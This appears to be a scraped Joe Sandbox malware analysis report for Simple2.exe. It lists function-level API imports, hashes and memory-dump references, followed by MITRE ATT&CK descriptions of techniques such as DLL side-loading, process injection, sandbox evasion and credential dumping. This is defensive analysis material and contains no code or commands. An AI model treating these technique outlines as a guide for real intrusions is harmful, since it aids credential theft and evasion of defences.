API ID: memcpy$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1775671525-0
Opcode ID: abe0249c4c47600703d981be10a5cbf7c4064d86d09350d8db766f4bae7910eb
Instruction ID: dab54210fa819ccc4a079741023f0b7210ba45ad3d64643325fff058dddbc870
Opcode Fuzzy Hash: abe0249c4c47600703d981be10a5cbf7c4064d86d09350d8db766f4bae7910eb
Instruction Fuzzy Hash: B851BF22A48B85D2EE109F25D5402A92361FF16B88F144A3AEF6D87792CF39F5D5F340

Function 00007FF6876B9AA0 Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QEAA@H@Z.MSVCP140 ref: 00007FF6876B9ACD
??Bid@locale@std@@QEAA_KXZ.MSVCP140 ref: 00007FF6876B9AE7
?_Getgloballocale@locale@std@@CAPEAV_Locimp@12@XZ.MSVCP140 ref: 00007FF6876B9B19
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SA_KPEAPEBVfacet@locale@2@PEBV42@@Z.MSVCP140 ref: 00007FF6876B9B44
std::_Facet_Register.LIBCPMT ref: 00007FF6876B9B5D
??1_Lockit@std@@QEAA@XZ.MSVCP140 ref: 00007FF6876B9B7C
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6876B9BA7

Memory Dump Source

Source File: 00000000.00000002.2206805229.00007FF6876B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6876B0000, based on PE: true

Associated: 00000000.00000002.2206787950.00007FF6876B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206825729.00007FF6876BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206848878.00007FF6876C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206869982.00007FF6876C5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6876b0000_Simple2.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Concurrency::cancel_current_taskFacet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@std::_
String ID:
API String ID: 762505753-0
Opcode ID: 545df3c9766ed185f8b794c35ee2b3ec209f071c21cbcf1c646a21f7ed853349
Instruction ID: 69fbbad059d8081f9d8149d00ac2eb524e1c428dea41661394aa719c299c67e3
Opcode Fuzzy Hash: 545df3c9766ed185f8b794c35ee2b3ec209f071c21cbcf1c646a21f7ed853349
Instruction Fuzzy Hash: 0A312D22A4CB45C1EE149F11E84016A7760FF9AB94F480639EA9E87769DF3CF495D700

Function 00007FF6876BA4F0 Relevance: 9.1, APIs: 6, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF6876BA61B
memcpy.VCRUNTIME140 ref: 00007FF6876BA629
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876BA667
memcpy.VCRUNTIME140 ref: 00007FF6876BA671
memcpy.VCRUNTIME140 ref: 00007FF6876BA67F

Part of subcall function 00007FF6876BB188: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6876B1079), ref: 00007FF6876BB1A2

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6876BA6B5

Memory Dump Source

Source File: 00000000.00000002.2206805229.00007FF6876B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6876B0000, based on PE: true

Associated: 00000000.00000002.2206787950.00007FF6876B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206825729.00007FF6876BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206848878.00007FF6876C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206869982.00007FF6876C5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6876b0000_Simple2.jbxd

Similarity

API ID: memcpy$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturnmalloc
String ID:
API String ID: 1155477157-0
Opcode ID: 54456fb226a2d7c7d240bc23e780d75a44e7be6d1e2b0709989bf0961fbeec99
Instruction ID: 1f720c1810a9b5b7aae6e9aff79aba7d2ca0f0716222d4293ca6f92c7a31b623
Opcode Fuzzy Hash: 54456fb226a2d7c7d240bc23e780d75a44e7be6d1e2b0709989bf0961fbeec99
Instruction Fuzzy Hash: 7B41FD62B58A41D1EE109B16E5442AD6361BF4ABE0F444739EE7E87BD4EE3CE181E300

Function 00007FF6876B8030 Relevance: 7.6, APIs: 5, Instructions: 126COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,00000002,?,00007FF6876B8A88), ref: 00007FF6876B80FB
memcpy.VCRUNTIME140(?,00000002,?,00007FF6876B8A88), ref: 00007FF6876B8121
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6876B813C
??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140(?,?,?,?,?,?,?,00007FF6876B8A88), ref: 00007FF6876B81A5
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140(?,?,?,?,?,?,?,00007FF6876B8A88), ref: 00007FF6876B81AE

Part of subcall function 00007FF6876BB188: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6876B1079), ref: 00007FF6876BB1A2

Memory Dump Source

Source File: 00000000.00000002.2206805229.00007FF6876B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6876B0000, based on PE: true

Associated: 00000000.00000002.2206787950.00007FF6876B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206825729.00007FF6876BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206848878.00007FF6876C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206869982.00007FF6876C5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6876b0000_Simple2.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$??1?$basic_ios@??1?$basic_iostream@Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturnmallocmemcpy
String ID:
API String ID: 4149368473-0
Opcode ID: cbfba76095db0698a1e6b8acad4051a1a7fb9d4643fbb1d71c4cadcb9687b4a4
Instruction ID: b5459e36199f9f493a5b384dbe93fa1621c5d658c9ae98aa144150698d58f519
Opcode Fuzzy Hash: cbfba76095db0698a1e6b8acad4051a1a7fb9d4643fbb1d71c4cadcb9687b4a4
Instruction Fuzzy Hash: 4241A322B49B42C1EE559B25E4803A863A0FF45BA4F148639EB2D477D6DF38E4D6D340

Function 00007FF6876BC906 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

__current_exception.VCRUNTIME140 ref: 00007FF6876BC93B
__current_exception_context.VCRUNTIME140 ref: 00007FF6876BC94F
terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876BC957

Strings

csm, xrefs: 00007FF6876BC927

Memory Dump Source

Source File: 00000000.00000002.2206805229.00007FF6876B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6876B0000, based on PE: true

Associated: 00000000.00000002.2206787950.00007FF6876B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206825729.00007FF6876BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206848878.00007FF6876C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206869982.00007FF6876C5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6876b0000_Simple2.jbxd

Similarity

API ID: __current_exception__current_exception_contextterminate
String ID: csm
API String ID: 2542180945-1018135373
Opcode ID: d3b79f1d4ed2cf87534eefe888d4520da953d68ce7e88eb7b161ba8e8e1dee64
Instruction ID: 714a8ecb04bc9495845ebbd26baaf2169adc6d761f5b4627944fbf5f0c0315f5
Opcode Fuzzy Hash: d3b79f1d4ed2cf87534eefe888d4520da953d68ce7e88eb7b161ba8e8e1dee64
Instruction Fuzzy Hash: 3AF0F437649B45CADB14AF61E8801AC3764FB8AB88B495134FB8D87765CF38E891D340

Function 00007FF6876B9EF0 Relevance: 6.1, APIs: 4, Instructions: 122COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00007FF6876BA81F), ref: 00007FF6876BA002
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00007FF6876BA81F), ref: 00007FF6876BA048
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00007FF6876BA81F), ref: 00007FF6876BA052

Part of subcall function 00007FF6876BB188: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6876B1079), ref: 00007FF6876BB1A2

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6876BA08E

Memory Dump Source

Source File: 00000000.00000002.2206805229.00007FF6876B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6876B0000, based on PE: true

Associated: 00000000.00000002.2206787950.00007FF6876B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206825729.00007FF6876BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206848878.00007FF6876C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206869982.00007FF6876C5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6876b0000_Simple2.jbxd

Similarity

API ID: memcpy$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturnmalloc
String ID:
API String ID: 1155477157-0
Opcode ID: 1a9245936d2af9e59103349979f080b13697f3e2d58860a74c57808a2e834132
Instruction ID: 08f88e62975d09beb75b04dc187f7d154c52c33b51e44ba7b62441387bde5ba5
Opcode Fuzzy Hash: 1a9245936d2af9e59103349979f080b13697f3e2d58860a74c57808a2e834132
Instruction Fuzzy Hash: 6841BB22B58B41C1EE149B21E5441686369BF4ABF4F584738EABD87BD8DE7CF091E304

Function 00007FF6876B9D40 Relevance: 6.1, APIs: 4, Instructions: 121COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,00007FF6876BA81F), ref: 00007FF6876B9E58
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,00000000,00007FF6876BA81F), ref: 00007FF6876B9E9B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,00007FF6876BA81F), ref: 00007FF6876B9EA5

Part of subcall function 00007FF6876BB188: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6876B1079), ref: 00007FF6876BB1A2

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6876B9EE0

Memory Dump Source

Source File: 00000000.00000002.2206805229.00007FF6876B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6876B0000, based on PE: true

Associated: 00000000.00000002.2206787950.00007FF6876B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206825729.00007FF6876BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206848878.00007FF6876C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206869982.00007FF6876C5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6876b0000_Simple2.jbxd

Similarity

API ID: memcpy$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturnmalloc
String ID:
API String ID: 1155477157-0
Opcode ID: 40ec7531a5140d9a34a05d810270c497e92faa9370d006b00b585f92f7ddb58e
Instruction ID: bc331f2e76e848b40d26566658659326d571453528f32daad906b7fd438539ed
Opcode Fuzzy Hash: 40ec7531a5140d9a34a05d810270c497e92faa9370d006b00b585f92f7ddb58e
Instruction Fuzzy Hash: 2841DE22B48B42C1EE149B22A544169A265BF56BF4F944738EE7D877E5DE3CF082E300

Function 00007FF6876B9910 Relevance: 6.1, APIs: 4, Instructions: 111COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,00007FF6876B4851), ref: 00007FF6876B9A19
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00007FF6876B4851), ref: 00007FF6876B9A4E
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00007FF6876B4851), ref: 00007FF6876B9A5E
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6876B9A92

Memory Dump Source

Source File: 00000000.00000002.2206805229.00007FF6876B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6876B0000, based on PE: true

Associated: 00000000.00000002.2206787950.00007FF6876B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206825729.00007FF6876BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206848878.00007FF6876C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206869982.00007FF6876C5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6876b0000_Simple2.jbxd

Similarity

API ID: memcpy$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1775671525-0
Opcode ID: aa646745353d7203da832671085d0b0196717f6d70c4c5319a692b517eda2660
Instruction ID: d7812288d33284e3b51459a25bf8af4db37a16991ae7f66e3c045a8b7975d389
Opcode Fuzzy Hash: aa646745353d7203da832671085d0b0196717f6d70c4c5319a692b517eda2660
Instruction Fuzzy Hash: 8841D222B58B51D0EE10DB21A4402696264BF5ABF4F588739EEBD87BC1EE3CE4C1D300

Function 00007FF6876B6EB0 Relevance: 6.1, APIs: 4, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2206805229.00007FF6876B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6876B0000, based on PE: true

Associated: 00000000.00000002.2206787950.00007FF6876B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206825729.00007FF6876BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206848878.00007FF6876C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206869982.00007FF6876C5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6876b0000_Simple2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7db282e29bddddf1267576aac1fe13729b1fc00772b1e8be868d075bea65a2a
Instruction ID: 8c1276e7715812672004eac9ea437e2dffef213a6682899a684e4391c16d20a0
Opcode Fuzzy Hash: e7db282e29bddddf1267576aac1fe13729b1fc00772b1e8be868d075bea65a2a
Instruction Fuzzy Hash: 94515F72648A82C5DF208F29E49036977A5FB86BA4F54413BEA5D877A8DF3CE484D700

Function 00007FF6876BA200 Relevance: 6.1, APIs: 4, Instructions: 105COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF6876BA2DA
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876BA318
memcpy.VCRUNTIME140 ref: 00007FF6876BA322
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6876BA354

Memory Dump Source

Source File: 00000000.00000002.2206805229.00007FF6876B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6876B0000, based on PE: true

Associated: 00000000.00000002.2206787950.00007FF6876B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206825729.00007FF6876BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206848878.00007FF6876C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206869982.00007FF6876C5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6876b0000_Simple2.jbxd

Similarity

API ID: memcpy$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1775671525-0
Opcode ID: b5567b20c1f48cca5cd3c98e9b81db459c25ab05fbe078c65d7ecd545c62c5ee
Instruction ID: b139226ec1f9d85937df03df554aca7909e432a5955b455b812b8d374d7f13ad
Opcode Fuzzy Hash: b5567b20c1f48cca5cd3c98e9b81db459c25ab05fbe078c65d7ecd545c62c5ee
Instruction Fuzzy Hash: C931F521B48A41D5EE149B25D64426D6791BF06BE0F184639EB5D87BC9DE3CF0C4E300

Function 00007FF6876B7DF0 Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF6876B7E5A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876B7EDB

Part of subcall function 00007FF6876BB188: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6876B1079), ref: 00007FF6876BB1A2

memcpy.VCRUNTIME140 ref: 00007FF6876B7F0B
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6876B7F2F

Memory Dump Source

Source File: 00000000.00000002.2206805229.00007FF6876B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6876B0000, based on PE: true

Associated: 00000000.00000002.2206787950.00007FF6876B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206825729.00007FF6876BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206848878.00007FF6876C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206869982.00007FF6876C5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6876b0000_Simple2.jbxd

Similarity

API ID: memcpy$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturnmalloc
String ID:
API String ID: 1155477157-0
Opcode ID: e5f8016ce02fca7137d677ca64b78271ca401d371dfa4f4d45820aa9f735801d
Instruction ID: 18836281a2bd67b79fbfa6b6bb995268090d054d00593473efc1120826d68b69
Opcode Fuzzy Hash: e5f8016ce02fca7137d677ca64b78271ca401d371dfa4f4d45820aa9f735801d
Instruction Fuzzy Hash: D831C422A89746D1ED149B51A4401782294BF46BB4F1C4B39FA3D87BD0DF38F8D2E300

Function 00007FF6876BA0A0 Relevance: 6.1, APIs: 4, Instructions: 100COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF6876BA180
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6876BA1BD
memcpy.VCRUNTIME140 ref: 00007FF6876BA1C7
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6876BA1FA

Memory Dump Source

Source File: 00000000.00000002.2206805229.00007FF6876B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6876B0000, based on PE: true

Associated: 00000000.00000002.2206787950.00007FF6876B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206825729.00007FF6876BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206848878.00007FF6876C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206869982.00007FF6876C5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6876b0000_Simple2.jbxd

Similarity

API ID: memcpy$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1775671525-0
Opcode ID: 0f707cf3714be254ec86991dfb91e6bddc1a538670df425c4e68032ecd5601c6
Instruction ID: 011c8d3915b285dbabb47b7e3c7092ab6d49e52d2e213e1bb3e2c13013d15d4d
Opcode Fuzzy Hash: 0f707cf3714be254ec86991dfb91e6bddc1a538670df425c4e68032ecd5601c6
Instruction Fuzzy Hash: F3310222B49781D4EE159B15A9042A9A291BF46BD0F484639EE6D8B7C5DF7CF0D1F300

Function 00007FF6876B9BB0 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF6876B9BE8
memcpy.VCRUNTIME140 ref: 00007FF6876B9C89
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6876B9CA7

Memory Dump Source

Source File: 00000000.00000002.2206805229.00007FF6876B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6876B0000, based on PE: true

Associated: 00000000.00000002.2206787950.00007FF6876B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206825729.00007FF6876BD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206848878.00007FF6876C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2206869982.00007FF6876C5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6876b0000_Simple2.jbxd

Similarity

API ID: memcpy$Concurrency::cancel_current_task
String ID:
API String ID: 326894585-0
Opcode ID: be6c2b503efa53b437df304cc74228248089b4d96591b262b67b60ba1b7937c9
Instruction ID: db46a12db554ffab63d800db7613aa9a987ca578d599eecf8e543b5e4ced89a2
Opcode Fuzzy Hash: be6c2b503efa53b437df304cc74228248089b4d96591b262b67b60ba1b7937c9
Instruction Fuzzy Hash: AD212922B49756D4EE259B11A4003381280BF16BE4F180A38EE6D87BC5DF3CB4C2E700

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Containers, IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Simple2.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

